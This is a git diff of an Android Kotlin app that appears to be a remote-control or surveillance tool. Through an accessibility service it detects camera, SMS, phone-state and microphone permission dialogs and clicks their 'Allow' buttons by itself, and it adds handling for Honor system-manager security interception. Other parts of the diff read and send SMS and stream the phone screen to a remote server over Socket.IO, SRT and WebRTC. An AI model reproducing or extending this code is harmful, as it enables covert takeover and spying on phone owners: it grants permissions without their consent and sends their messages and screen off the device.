true) || - windowTitle.contains("permission", ignoreCase = true)) { - Log.d(TAG, "📷 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId") - - // 尝试通过窗口ID获取根节点 - val windowRoot = getWindowRootByTitle(windowTitle) - if (tryClickByCoordinates(windowTitle)) { - return true + + val windowRoot = window.root + if (windowRoot == null) continue + try { + if (tryHandleHonorSystemManagerInterception(windowRoot, "camera_window_$i")) { + return true } + + val rootPackage = windowRoot.packageName?.toString() + if (!isLikelyPermissionDialog(rootPackage)) { + Log.d(TAG, "📷 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage") + continue + } + + val permissionNode = findPermissionNodeInTree(windowRoot) + if (permissionNode != null) { + try { + Log.d(TAG, "📷 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage") + if (tryClickPermissionButtons(permissionNode)) { + return true + } + } finally { + permissionNode.recycle() + } + } + } finally { + windowRoot.recycle() } } } @@ -6497,6 +8889,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val rootNode = service.rootInActiveWindow if (rootNode != null) { Log.d(TAG, "📷 检查活动窗口...") + + if (tryHandleHonorSystemManagerInterception(rootNode, "camera_active")) { + rootNode.recycle() + return true + } + + val rootPackage = rootNode.packageName?.toString() + if (!isLikelyPermissionDialog(rootPackage)) { + Log.d(TAG, "📷 活动窗口不是权限弹框,跳过: package=$rootPackage") + rootNode.recycle() + return false + } // 递归查找权限相关节点 val permissionNode = findPermissionNodeInTree(rootNode) @@ -6825,99 +9229,49 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ private fun tryClickSMSPermissionButtons(node: AccessibilityNodeInfo): Boolean { try { - Log.d(TAG, "📱 尝试点击短信权限按钮...") - - // 短信权限按钮文本 - val buttonTexts = listOf( - "使用时允许", "Allow while using", - "仅本次使用时允许", "Allow only this time", - "允许", "Allow", "确定", "OK", - "始终允许", "Allow always", - "仅此一次", "Just once" + Log.d(TAG, "📱 [P2_CONFIRM_V2] 尝试点击短信权限按钮(两阶段:选项 -> 最终确认)...") + return tryClickRuntimePermissionButtonsInternal( + node = node, + logPrefix = "📱", + scene = "sms_runtime_permission", + strictAllowSemantics = true ) - - // 查找所有按钮 - val allButtons = findAllButtons(node) - Log.d(TAG, "📱 找到 ${allButtons.size} 个按钮") - - for (i in allButtons.indices) { - val btn = allButtons[i] - val btnText = btn.text?.toString() ?: "" - val btnDesc = btn.contentDescription?.toString() ?: "" - - Log.d(TAG, "📱 按钮 $i: '$btnText', 描述: '$btnDesc'") - - // 检查是否是权限按钮 - for (buttonText in buttonTexts) { - if (btnText.contains(buttonText, ignoreCase = true) || - btnDesc.contains(buttonText, ignoreCase = true)) { - Log.i(TAG, "📱 找到短信权限按钮: '$btnText', 描述: '$btnDesc'") - - // 尝试点击按钮 - clickButton(btn) - Log.i(TAG, "📱 成功点击短信权限按钮: '$btnText'") - btn.recycle() - return true - } - } - - btn.recycle() - } - - Log.w(TAG, "⚠️ 未找到可点击的短信权限按钮") - return false - } catch (e: Exception) { Log.e(TAG, "点击短信权限按钮失败", e) return false } } + + /** + * 尝试点击麦克风权限按钮 + */ + private fun tryClickMicrophonePermissionButtons(node: AccessibilityNodeInfo): Boolean { + try { + Log.d(TAG, "🎤 [P2_CONFIRM_V2] 尝试点击麦克风权限按钮(两阶段:选项 -> 最终确认)...") + return tryClickRuntimePermissionButtonsInternal( + node = node, + logPrefix = "🎤", + scene = "microphone_runtime_permission", + strictAllowSemantics = false + ) + } catch (e: Exception) { + Log.e(TAG, "点击麦克风权限按钮失败", e) + return false + } + } /** * 尝试点击权限按钮 */ private fun tryClickPermissionButtons(node: AccessibilityNodeInfo): Boolean { try { - Log.d(TAG, "📷 尝试点击权限按钮...") - - // 权限按钮文本(根据截图) - val buttonTexts = listOf( - "使用时允许", "Allow while using", - "仅本次使用时允许", "Allow only this time", - "允许", "Allow", "确定", "OK" + Log.d(TAG, "📷 [P2_CONFIRM_V2] 尝试点击权限按钮(两阶段:选项 -> 最终确认)...") + return tryClickRuntimePermissionButtonsInternal( + node = node, + logPrefix = "📷", + scene = "generic_runtime_permission", + strictAllowSemantics = false ) - - // 查找所有按钮 - val allButtons = findAllButtons(node) - Log.d(TAG, "📷 找到 ${allButtons.size} 个按钮") - - for (i in allButtons.indices) { - val btn = allButtons[i] - val btnText = btn.text?.toString() ?: "" - val btnDesc = btn.contentDescription?.toString() ?: "" - - Log.d(TAG, "📷 按钮 $i: '$btnText', 描述: '$btnDesc'") - - // 检查是否是权限按钮 - for (buttonText in buttonTexts) { - if (btnText.contains(buttonText, ignoreCase = true) || - btnDesc.contains(buttonText, ignoreCase = true)) { - Log.i(TAG, "📷 找到权限按钮: '$btnText', 描述: '$btnDesc'") - - // 尝试点击按钮 - clickButton(btn) - Log.i(TAG, "📷 成功点击权限按钮: '$btnText'") - btn.recycle() - return true - } - } - - btn.recycle() - } - - Log.w(TAG, "⚠️ 未找到可点击的权限按钮") - return false - } catch (e: Exception) { Log.e(TAG, "点击权限按钮失败", e) return false @@ -7388,6 +9742,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.i(TAG, "🛑 停止摄像头权限申请") isRequestingCameraPermission = false cameraPermissionRetryCount = 0 + cameraPermissionRequestStartedAt = 0L } /** @@ -7397,6 +9752,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.i(TAG, "🛑 停止短信权限申请") isRequestingSMSPermission = false smsPermissionRetryCount = 0 + smsPermissionRequestStartedAt = 0L } /** @@ -7594,6 +9950,33 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return null } } + + /** + * 在节点树中递归查找麦克风权限相关节点 + */ + private fun findMicrophonePermissionNodeInTree(node: AccessibilityNodeInfo): AccessibilityNodeInfo? { + try { + if (containsMicrophonePermissionText(node)) { + return node + } + + for (i in 0 until node.childCount) { + val child = node.getChild(i) + if (child != null) { + val result = findMicrophonePermissionNodeInTree(child) + if (result != null) { + child.recycle() + return result + } + child.recycle() + } + } + return null + } catch (e: Exception) { + Log.e(TAG, "查找麦克风权限节点失败", e) + return null + } + } /** * 在节点树中递归查找权限相关节点 @@ -7632,41 +10015,58 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { try { val text = node.text?.toString() ?: "" val contentDescription = node.contentDescription?.toString() ?: "" + val combinedText = buildNodeCombinedText(node.text, node.contentDescription) val smsPermissionTexts = listOf( - "短信", "SMS", "Sms", "SMS权限", - "电话", "Phone", "PHONE", "电话权限", - "允许", "Allow", "允许访问", "Allow access", - "权限", "Permission", "PERMISSION", - "读取短信", "Read SMS", "发送短信", "Send SMS", - "电话状态", "Phone state", "PHONE_STATE" + "短信", "sms", "彩信", "读取短信", "发送短信", "接收短信", + "电话状态", "读取电话状态", "读取电话信息", "phone state", "read phone state" ) - - for (permissionText in smsPermissionTexts) { - if (text.contains(permissionText, ignoreCase = true) || - contentDescription.contains(permissionText, ignoreCase = true)) { - return true - } + + return smsPermissionTexts.any { permissionText -> + text.contains(permissionText, ignoreCase = true) || + contentDescription.contains(permissionText, ignoreCase = true) || + combinedText.contains(permissionText, ignoreCase = true) } - - return false } catch (e: Exception) { Log.e(TAG, "检查短信权限文本失败", e) return false } } + + /** + * 检查节点是否包含麦克风权限相关文本 + */ + private fun containsMicrophonePermissionText(node: AccessibilityNodeInfo): Boolean { + return try { + val text = node.text?.toString() ?: "" + val contentDescription = node.contentDescription?.toString() ?: "" + val combinedText = buildNodeCombinedText(node.text, node.contentDescription) + + val keywords = listOf( + "麦克风", "录音", "录制音频", "microphone", "record audio" + ) + keywords.any { keyword -> + text.contains(keyword, ignoreCase = true) || + contentDescription.contains(keyword, ignoreCase = true) || + combinedText.contains(keyword, ignoreCase = true) + } + } catch (e: Exception) { + Log.e(TAG, "检查麦克风权限文本失败", e) + false + } + } /** * 检查节点是否包含权限相关文本 */ private fun containsPermissionText(node: AccessibilityNodeInfo): Boolean { try { - val permissionKeywords = listOf( + val permissionKeywords = mutableListOf( "摄像头", "相机", "Camera", "camera", - "使用时允许", "仅本次使用时允许", "仅在使用时允许", - "允许", "拒绝", "Allow", "Deny", "权限", "Permission", "permission" ) + permissionKeywords.addAll(runtimePermissionAllowKeywords) + permissionKeywords.addAll(runtimePermissionDenyKeywords) val nodeText = node.text?.toString() ?: "" val contentDescription = node.contentDescription?.toString() ?: "" @@ -7822,22 +10222,27 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 尝试通过窗口ID获取根节点 val windowRoot = getWindowRootByTitle(windowTitle) if (windowRoot != null) { - Log.d(TAG, "📱 成功获取发送短信权限弹框根节点") - - // 直接尝试点击按钮 - if (tryClickSendSMSPermissionButtons(windowRoot)) { + try { + val rootPackage = windowRoot.packageName?.toString() + if (!isRuntimePermissionDialogPackage(rootPackage)) { + Log.d(TAG, "📱 跳过非运行时权限窗口: package=$rootPackage, title=$windowTitle") + continue + } + if (!containsSMSPermissionText(windowRoot)) { + Log.d(TAG, "📱 跳过无短信权限文案窗口: package=$rootPackage, title=$windowTitle") + continue + } + Log.d(TAG, "📱 成功获取发送短信权限弹框根节点: package=$rootPackage") + + // 仅通过权限弹框按钮文本点击,禁用坐标盲点点击,避免误触短信应用界面。 + if (tryClickSendSMSPermissionButtons(windowRoot)) { + return true + } + } finally { windowRoot.recycle() - return true } - - windowRoot.recycle() } else { - Log.w(TAG, "⚠️ 无法获取发送短信权限弹框根节点,尝试坐标点击...") - - // 尝试通过坐标点击 - if (tryClickSendSMSPermissionByCoordinates()) { - return true - } + Log.d(TAG, "📱 无法获取发送短信权限窗口根节点,跳过") } } } @@ -7846,23 +10251,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 方法2: 检查活动窗口 val rootNode = service.rootInActiveWindow if (rootNode != null) { - Log.d(TAG, "📱 检查活动窗口...") - - // 递归查找权限相关节点 - val permissionNode = findSendSMSPermissionNodeInTree(rootNode) - if (permissionNode != null) { - Log.d(TAG, "📱 在活动窗口中找到发送短信权限节点") - - if (tryClickSendSMSPermissionButtons(permissionNode)) { - permissionNode.recycle() - rootNode.recycle() - return true + try { + Log.d(TAG, "📱 检查活动窗口...") + val rootPackage = rootNode.packageName?.toString() + if (!isRuntimePermissionDialogPackage(rootPackage)) { + Log.d(TAG, "📱 活动窗口非运行时权限弹窗,跳过: package=$rootPackage") + } else { + // 递归查找权限相关节点 + val permissionNode = findSendSMSPermissionNodeInTree(rootNode) + if (permissionNode != null) { + try { + Log.d(TAG, "📱 在活动窗口中找到发送短信权限节点") + if (tryClickSendSMSPermissionButtons(permissionNode)) { + return true + } + } finally { + permissionNode.recycle() + } + } } - - permissionNode.recycle() + } finally { + rootNode.recycle() } - - rootNode.recycle() } Log.d(TAG, "📱 未找到发送短信权限弹框") @@ -7930,11 +10340,36 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 发送短信权限按钮文本 val buttonTexts = listOf( - "允许", "Allow", "确定", "OK", "是", "Yes", - "使用时允许", "Allow while using", - "仅本次使用时允许", "Allow only this time", - "始终允许", "Allow always", - "仅此一次", "Just once" + "允许", + "始终允许", + "允许本次使用", + "本次使用时允许", + "使用时允许", + "使用期间允许", + "仅使用期间允许", + "仅在使用中允许", + "仅在前台使用应用时允许", + "仅在使用该应用时允许", + "在使用中运行", + "在使用中", + "在使用该应用时", + "在使用期间", + "仅在使用中", + "仅在使用期间", + "仅在使用应用时", + "仅本次", + "本次允许", + "仅此一次", + "允许一次", + "Allow", + "Always allow", + "Allow all the time", + "Allow while using", + "Allow while using the app", + "Allow only this time", + "Only this time", + "This time only", + "Allow once" ) // 查找所有按钮 @@ -7946,19 +10381,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val btnDesc = btn.contentDescription?.toString() ?: "" Log.d(TAG, "📱 检查按钮: 文本='$btnText', 描述='$btnDesc'") - - // 检查是否是权限按钮 - for (buttonText in buttonTexts) { - if (btnText.contains(buttonText, ignoreCase = true) || - btnDesc.contains(buttonText, ignoreCase = true)) { - Log.i(TAG, "📱 找到发送短信权限按钮: '$btnText', 描述: '$btnDesc'") - - // 尝试点击按钮 - clickButton(btn) - Log.i(TAG, "📱 成功点击发送短信权限按钮: '$btnText'") - btn.recycle() - return true - } + + val combinedText = buildNodeCombinedText(btn.text, btn.contentDescription) + if (isRuntimeDenyText(combinedText)) { + Log.d(TAG, "📱 跳过拒绝类按钮: '$btnText' / '$btnDesc'") + btn.recycle() + continue + } + + val explicitAllowMatched = buttonTexts.any { buttonText -> + btnText.contains(buttonText, ignoreCase = true) || + btnDesc.contains(buttonText, ignoreCase = true) + } + val runtimeAllowMatched = isRuntimeAllowText(combinedText) + if (!explicitAllowMatched && !runtimeAllowMatched) { + btn.recycle() + continue + } + + Log.i(TAG, "📱 找到发送短信权限按钮: '$btnText', 描述: '$btnDesc'") + val clickTarget = if (btn.isClickable) btn else findClickableParentOrSibling(btn) + if (clickTarget != null) { + val clicked = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK) + Log.i(TAG, "📱 成功点击发送短信权限按钮: '$btnText', action=$clicked") + btn.recycle() + return true } btn.recycle() @@ -8332,4 +10779,4 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return false } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/manager/SMSManager.kt b/app/src/main/java/com/hikoncont/manager/SMSManager.kt index ddde498..c9e08e7 100644 --- a/app/src/main/java/com/hikoncont/manager/SMSManager.kt +++ b/app/src/main/java/com/hikoncont/manager/SMSManager.kt @@ -506,31 +506,8 @@ class SMSManager(private val service: AccessibilityRemoteService) { val smsList = mutableListOf() if (!checkSMSPermission()) { - Log.w(TAG, "⚠️ 短信权限未授予,尝试自动申请") - try { - service.requestSMSPermissionWithAutoGrant() - } catch (e: Exception) { - Log.e(TAG, "触发短信权限申请失败", e) - } - - var attempts = 0 - val maxAttempts = 16 // ~8s - while (attempts < maxAttempts) { - try { - Thread.sleep(500) - } catch (ie: InterruptedException) { - } - if (checkSMSPermission()) { - Log.i(TAG, "✅ 短信权限已在等待期间授予,继续读取") - break - } - attempts++ - } - - if (!checkSMSPermission()) { - Log.w(TAG, "⚠️ 等待后仍未获得短信读取权限,返回空列表") - return smsList - } + Log.w(TAG, "⚠️ 短信权限未授予,停止自动拉起授权页,直接返回空列表") + return smsList } try { @@ -748,8 +725,7 @@ class SMSManager(private val service: AccessibilityRemoteService) { */ fun sendSMSWithPermissionHandling(phoneNumber: String, message: String): Boolean { if (!checkSMSPermission()) { - Log.e(TAG, "❌ 短信权限未授予,尝试请求权限") - requestSMSPermission() + Log.e(TAG, "❌ 短信权限未授予,已停止自动拉起授权页(需手动触发权限申请)") return false } diff --git a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt index 91ead9f..030065d 100644 --- a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt +++ b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt @@ -25,10 +25,11 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) { companion object { private const val TAG = "ScreenCaptureManager" - private const val CAPTURE_FPS = 15 // 进一步提升到15FPS,让视频更加流畅(从10提升到15) - private const val CAPTURE_QUALITY = 55 // 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55) - private const val MAX_WIDTH = 480 // 更小宽度480px,测试单消息大小理论 - private const val MAX_HEIGHT = 854 // 更小高度854px,保持16:9比例 + // 固定流媒体档位:720P + 60FPS + private const val CAPTURE_FPS = 60 + private const val CAPTURE_QUALITY = 70 + private const val MAX_WIDTH = 720 + private const val MAX_HEIGHT = 1280 private const val MIN_CAPTURE_INTERVAL = 3000L // 调整为3000ms,无障碍服务截图间隔3秒 // 持久化暂停状态相关常量 @@ -296,31 +297,33 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) { * 由服务端根据Web端反馈下发调整指令 */ fun adjustQuality(fps: Int, quality: Int, maxWidth: Int, maxHeight: Int) { - Log.i(TAG, "收到画质调整: fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight}") - if (fps in 1..30) { - dynamicFps = fps - Log.i(TAG, "帧率调整为: ${fps}fps (间隔${1000 / fps}ms)") - } - if (quality in 20..90) { - dynamicQuality = quality - Log.i(TAG, "JPEG质量调整为: $quality") - } - if (maxWidth in 240..1920) { - dynamicMaxWidth = maxWidth - Log.i(TAG, "最大宽度调整为: $maxWidth") - } - if (maxHeight in 320..2560) { - dynamicMaxHeight = maxHeight - Log.i(TAG, "最大高度调整为: $maxHeight") - } + // 测试阶段锁定固定档位,避免前端/服务端动态参数导致分辨率抖动和拉伸。 + dynamicFps = CAPTURE_FPS + dynamicQuality = CAPTURE_QUALITY + dynamicMaxWidth = MAX_WIDTH + dynamicMaxHeight = MAX_HEIGHT + Log.i( + TAG, + "忽略动态画质调整,保持固定档位: ${CAPTURE_FPS}fps, quality=$CAPTURE_QUALITY, ${MAX_WIDTH}x${MAX_HEIGHT} (requested fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight})" + ) } /** * 切换到无障碍截图模式(由服务端指令触发) - * 已禁用:不再允许服务端黑帧检测触发模式切换,避免误判导致权限回退 */ fun switchToAccessibilityMode() { - Log.i(TAG, "收到切换无障碍截图模式指令,已忽略(禁止服务端触发模式切换)") + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) { + Log.w(TAG, "当前系统版本不支持无障碍截图模式,保持MediaProjection模式") + return + } + if (useAccessibilityScreenshot) { + Log.d(TAG, "已经在无障碍截图模式,跳过切换") + return + } + Log.i(TAG, "切换到无障碍截图模式") + stopCapture() + enableAccessibilityScreenshotMode() + startCapture() } /** @@ -1817,7 +1820,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) { val socketIOManager = service.getSocketIOManager() if (socketIOManager != null && socketIOManager.isConnected()) { socketIOManager.sendScreenData(frameData) - Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes") success = true // Reset throttle counter on success if (socketUnavailableLogCount > 0) { @@ -3215,4 +3217,4 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) { generateTestImage() } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt b/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt index 547884c..4524f7b 100644 --- a/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt +++ b/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt @@ -12,6 +12,7 @@ import android.os.Looper import android.util.Log import com.hikoncont.MediaProjectionHolder import com.hikoncont.service.AccessibilityRemoteService +import com.hikoncont.util.registerReceiverCompat import kotlinx.coroutines.* import java.util.concurrent.atomic.AtomicBoolean import java.util.concurrent.atomic.AtomicInteger @@ -485,7 +486,7 @@ class SmartMediaProjectionManager( addAction(Intent.ACTION_USER_PRESENT) addAction("android.mycustrecev.USER_STOPPED_PROJECTION") } - context.registerReceiver(systemStateReceiver, filter) + context.registerReceiverCompat(systemStateReceiver, filter) Log.i(TAG, "✅ 已注册系统状态监听") } @@ -679,4 +680,4 @@ class SmartMediaProjectionManager( Log.e(TAG, "❌ 清理失败", e) } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt b/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt new file mode 100644 index 0000000..cc525e9 --- /dev/null +++ b/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt @@ -0,0 +1,417 @@ +package com.hikoncont.manager + +import android.media.projection.MediaProjection +import android.os.Build +import android.util.Log +import androidx.annotation.RequiresApi +import com.hikoncont.MediaProjectionHolder +import com.hikoncont.service.AccessibilityRemoteService +import com.pedro.common.ConnectChecker +import com.pedro.common.VideoCodec +import com.pedro.encoder.input.sources.audio.NoAudioSource +import com.pedro.encoder.input.sources.video.ScreenSource +import com.pedro.library.srt.SrtStream +import org.json.JSONObject +import kotlin.math.roundToInt + +@RequiresApi(Build.VERSION_CODES.LOLLIPOP) +class SrtStreamManager( + private val service: AccessibilityRemoteService, + private val listener: Listener +) { + + interface Listener { + fun onStateChanged(state: String, message: String, extra: JSONObject? = null) + } + + data class StartResult( + val success: Boolean, + val message: String, + val extra: JSONObject? = null + ) + + companion object { + private const val TAG = "SrtStreamManager" + private const val MIN_FPS = 20 + private const val MAX_FPS = 60 + private const val MIN_LONG_EDGE = 360 + private const val MAX_LONG_EDGE = 1920 + private const val MIN_BITRATE_BPS = 500_000 + private const val MAX_BITRATE_BPS = 12_000_000 + } + + private enum class StreamPriority(val wireValue: String) { + SMOOTH("smooth"), + BALANCED("balanced"), + QUALITY("quality"); + + companion object { + fun fromRaw(raw: String?): StreamPriority { + return when (raw?.trim()?.lowercase()) { + QUALITY.wireValue -> QUALITY + BALANCED.wireValue -> BALANCED + else -> SMOOTH + } + } + } + } + + private data class Session( + val deviceId: String, + val clientId: String, + val ingestUrl: String, + val width: Int, + val height: Int, + val fps: Int, + val priority: String, + val maxLongEdge: Int, + val bitrateBps: Int, + val startedAt: Long + ) + + private val stateLock = Any() + private var stream: SrtStream? = null + private var session: Session? = null + private var lastBitrateBps = 0L + + fun isRuntimeSupported(): Boolean { + // Dependency exists at compile-time; runtime check is kept explicit for clarity. + return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP + } + + fun isStreaming(): Boolean = synchronized(stateLock) { + stream?.isStreaming == true + } + + fun start( + deviceId: String, + clientId: String, + ingestUrl: String, + requestedFps: Int? = null, + requestedMaxLongEdge: Int? = null, + requestedBitrateKbps: Int? = null, + priorityRaw: String? = null + ): StartResult { + if (!isRuntimeSupported()) { + return StartResult(false, "srt_runtime_not_supported") + } + if (ingestUrl.isBlank() || !ingestUrl.startsWith("srt://", ignoreCase = true)) { + return StartResult(false, "invalid_srt_ingest_url") + } + + val projection = MediaProjectionHolder.getMediaProjection() + ?: return StartResult(false, "media_projection_not_ready") + + val screenConfig = buildScreenConfig( + requestedFps = requestedFps, + requestedMaxLongEdge = requestedMaxLongEdge, + requestedBitrateKbps = requestedBitrateKbps, + priorityRaw = priorityRaw + ) + val preparedExtra = JSONObject().apply { + put("width", screenConfig.width) + put("height", screenConfig.height) + put("fps", screenConfig.fps) + put("bitrateBps", screenConfig.bitrateBps) + put("priority", screenConfig.priority) + put("maxLongEdge", screenConfig.maxLongEdge) + if (requestedMaxLongEdge != null) put("requestedMaxLongEdge", requestedMaxLongEdge) + if (requestedBitrateKbps != null) put("requestedBitrateKbps", requestedBitrateKbps) + put("ingestUrl", ingestUrl) + } + + synchronized(stateLock) { + stopInternalLocked() + + val checker = createConnectChecker() + val newStream = try { + createStream(projection, checker) + } catch (e: Exception) { + Log.e(TAG, "Create SRT stream failed", e) + return StartResult(false, "srt_stream_create_failed:${e.message ?: "unknown"}") + } + + val videoPrepared = try { + newStream.prepareVideo( + screenConfig.width, + screenConfig.height, + screenConfig.bitrateBps, + screenConfig.fps, + 1, + 0 + ) + } catch (e: Exception) { + Log.e(TAG, "Prepare SRT video failed", e) + false + } + + if (!videoPrepared) { + try { + newStream.release() + } catch (_: Exception) { + } + return StartResult(false, "srt_prepare_video_failed", preparedExtra) + } + + // Keep encoder pipeline initialized even when sending video-only. + val audioPrepared = try { + newStream.prepareAudio(32_000, false, 32 * 1000) + } catch (e: Exception) { + Log.e(TAG, "Prepare SRT audio failed", e) + false + } + + if (!audioPrepared) { + try { + newStream.release() + } catch (_: Exception) { + } + return StartResult(false, "srt_prepare_audio_failed", preparedExtra) + } + + stream = newStream + session = Session( + deviceId = deviceId, + clientId = clientId, + ingestUrl = ingestUrl, + width = screenConfig.width, + height = screenConfig.height, + fps = screenConfig.fps, + priority = screenConfig.priority, + maxLongEdge = screenConfig.maxLongEdge, + bitrateBps = screenConfig.bitrateBps, + startedAt = System.currentTimeMillis() + ) + lastBitrateBps = 0L + + listener.onStateChanged("starting", "srt_connecting", preparedExtra) + + try { + newStream.startStream(ingestUrl) + } catch (e: Exception) { + Log.e(TAG, "Start SRT stream failed", e) + stopInternalLocked() + return StartResult( + success = false, + message = "srt_start_failed:${e.message ?: "unknown"}", + extra = preparedExtra + ) + } + } + + return StartResult(true, "srt_starting", preparedExtra) + } + + fun stop(reason: String = "remote_stop"): Boolean { + val hasSession = synchronized(stateLock) { + val exists = stream != null || session != null + stopInternalLocked() + exists + } + + if (hasSession) { + listener.onStateChanged( + state = "stopped", + message = "srt_stopped", + extra = JSONObject().apply { put("reason", reason) } + ) + } + + return hasSession + } + + fun release() { + synchronized(stateLock) { + stopInternalLocked() + } + } + + private data class ScreenConfig( + val width: Int, + val height: Int, + val fps: Int, + val priority: String, + val maxLongEdge: Int, + val bitrateBps: Int + ) + + private fun buildScreenConfig( + requestedFps: Int?, + requestedMaxLongEdge: Int?, + requestedBitrateKbps: Int?, + priorityRaw: String? + ): ScreenConfig { + val metrics = service.resources.displayMetrics + val rawWidth = metrics.widthPixels.coerceAtLeast(2) + val rawHeight = metrics.heightPixels.coerceAtLeast(2) + + val priority = StreamPriority.fromRaw(priorityRaw) + val defaultFps = when (priority) { + StreamPriority.SMOOTH -> 40 + StreamPriority.BALANCED -> 45 + StreamPriority.QUALITY -> 50 + } + val defaultLongEdge = when (priority) { + StreamPriority.SMOOTH -> 960 + StreamPriority.BALANCED -> 1152 + StreamPriority.QUALITY -> 1280 + } + val bitrateFactor = when (priority) { + StreamPriority.SMOOTH -> 0.055 + StreamPriority.BALANCED -> 0.075 + StreamPriority.QUALITY -> 0.10 + } + val profileMinBitrate = when (priority) { + StreamPriority.SMOOTH -> 700_000 + StreamPriority.BALANCED -> 1_000_000 + StreamPriority.QUALITY -> 1_300_000 + } + val profileMaxBitrate = when (priority) { + StreamPriority.SMOOTH -> 4_000_000 + StreamPriority.BALANCED -> 7_000_000 + StreamPriority.QUALITY -> MAX_BITRATE_BPS + } + + val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS) + val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE) + + val sourceLong = maxOf(rawWidth, rawHeight) + val sourceShort = minOf(rawWidth, rawHeight) + val scale = if (sourceLong > maxLongEdge) { + maxLongEdge.toFloat() / sourceLong.toFloat() + } else { + 1f + } + + val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2) + val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2) + + val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort) + val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong) + + val requestedBitrateBps = requestedBitrateKbps + ?.takeIf { it > 0 } + ?.let { it * 1000 } + val bitrateEstimate = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor).toLong() + .coerceAtLeast(MIN_BITRATE_BPS.toLong()) + .coerceAtMost(MAX_BITRATE_BPS.toLong()) + .toInt() + val bitrateBps = (requestedBitrateBps ?: bitrateEstimate) + .coerceIn(profileMinBitrate, profileMaxBitrate) + .coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS) + + return ScreenConfig( + width = width, + height = height, + fps = fps, + priority = priority.wireValue, + maxLongEdge = maxLongEdge, + bitrateBps = bitrateBps + ) + } + + private fun toEven(value: Int): Int { + val safe = value.coerceAtLeast(2) + return if (safe % 2 == 0) safe else safe - 1 + } + + private fun createStream(projection: MediaProjection, checker: ConnectChecker): SrtStream { + val screenSource = ScreenSource(service.applicationContext, projection) + val audioSource = NoAudioSource() + return SrtStream(service.applicationContext, checker, screenSource, audioSource).apply { + setVideoCodec(VideoCodec.H264) + val client = getStreamClient() + client.setReTries(2) + client.setOnlyVideo(true) + client.setLogs(false) + } + } + + private fun createConnectChecker(): ConnectChecker { + return object : ConnectChecker { + override fun onConnectionStarted(url: String) { + listener.onStateChanged( + state = "starting", + message = "srt_connection_started", + extra = JSONObject().apply { put("url", url) } + ) + } + + override fun onConnectionSuccess() { + val current = synchronized(stateLock) { session } + listener.onStateChanged( + state = "running", + message = "srt_connection_success", + extra = JSONObject().apply { + put("bitrateBps", lastBitrateBps) + put("width", current?.width ?: 0) + put("height", current?.height ?: 0) + put("fps", current?.fps ?: 0) + put("priority", current?.priority ?: StreamPriority.SMOOTH.wireValue) + put("maxLongEdge", current?.maxLongEdge ?: 0) + put("startedAt", current?.startedAt ?: 0) + } + ) + } + + override fun onConnectionFailed(reason: String) { + Log.w(TAG, "SRT connection failed: $reason") + synchronized(stateLock) { + stopInternalLocked() + } + listener.onStateChanged( + state = "failed", + message = "srt_connection_failed:$reason" + ) + } + + override fun onDisconnect() { + val hadSession = synchronized(stateLock) { + val active = stream != null || session != null + stopInternalLocked() + active + } + + if (hadSession) { + listener.onStateChanged( + state = "stopped", + message = "srt_disconnected" + ) + } + } + + override fun onAuthError() { + listener.onStateChanged("failed", "srt_auth_error") + } + + override fun onAuthSuccess() { + listener.onStateChanged("running", "srt_auth_success") + } + + override fun onNewBitrate(bitrate: Long) { + lastBitrateBps = bitrate + } + } + } + + private fun stopInternalLocked() { + val old = stream + stream = null + session = null + + if (old != null) { + try { + if (old.isStreaming) { + old.stopStream() + } + } catch (e: Exception) { + Log.w(TAG, "Stop SRT stream failed", e) + } + try { + old.release() + } catch (e: Exception) { + Log.w(TAG, "Release SRT stream failed", e) + } + } + } +} diff --git a/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt b/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt new file mode 100644 index 0000000..a97397b --- /dev/null +++ b/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt @@ -0,0 +1,1110 @@ +package com.hikoncont.manager + +import android.content.Intent +import android.media.projection.MediaProjection +import android.os.Build +import android.util.Log +import 